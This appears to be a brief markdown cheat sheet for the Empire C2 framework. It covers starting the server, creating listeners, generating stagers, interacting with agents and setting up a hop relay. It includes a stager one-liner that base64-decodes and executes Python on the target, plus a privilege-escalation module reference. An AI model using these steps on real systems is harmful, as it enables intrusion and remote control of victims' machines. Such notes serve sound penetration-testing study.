# Empire C2

* [Empire Repo](https://github.com/BC-SECURITY/Empire.git)

## Start Client and Server
```sh
poetry run python empire --server --rest --notifications
poetry run python empire.py client
```

## Parts
* __Listeners__ receive connections from stagers
* __Stagers__ payloads generated, for example a reverse, delivery mechanism for agents
* __Agents__ remote on target device tasks
* __Modules__ use modularized payload  on agents
* __Credentials__
* __Report__ information on devices

* Results are stored in a DB

## Commands
### uselistener
* Example
```sh
uselistener http
```
* msf like commands, run listener
```sh
set <option> <value>
options
execute
```
* go back to main menu
```sh
back
main
```
* Check `listeners`
* `kill <listener>`

### usestager
```sh
usestager multi/launcher
usestager multi/bash
```
* Set the listener created under `uselistener`
```sh
set Listener <Listener>
```
* `execute`, output is for example:
```sh
echo "import sys,base64,warnings;warnings.filterwarnings('ignore');exec(base64.b64decode(' '));" | python3 &
```
* run this on the target

### agents
* `agents` checks the deployed agents 
* `interact <AgentName>`
* `help` in interaction context
* `kill <AgentName>`

## Create Hop Listener
```sh 
uselistener http_hop
```
```sh
set RedirectListener <ExistingListenerName>
```
```sh
set Host <IPofRelay>
```sh
set Port <PortonRelay>
```
* `execute` and check files under `/tmp/http_hop/news.php`, `/tmp/http_hop/admin/get.php`, `/tmp/http_hop/login/process.php`

* `usestager multi/handler`
* `set Listener http_hop`
* on Relay: `php -S 0.0.0.0:PORT &>/dev/null &`

* usemodule powershell/privesc/sherlock on agent for example

### Interactive shell
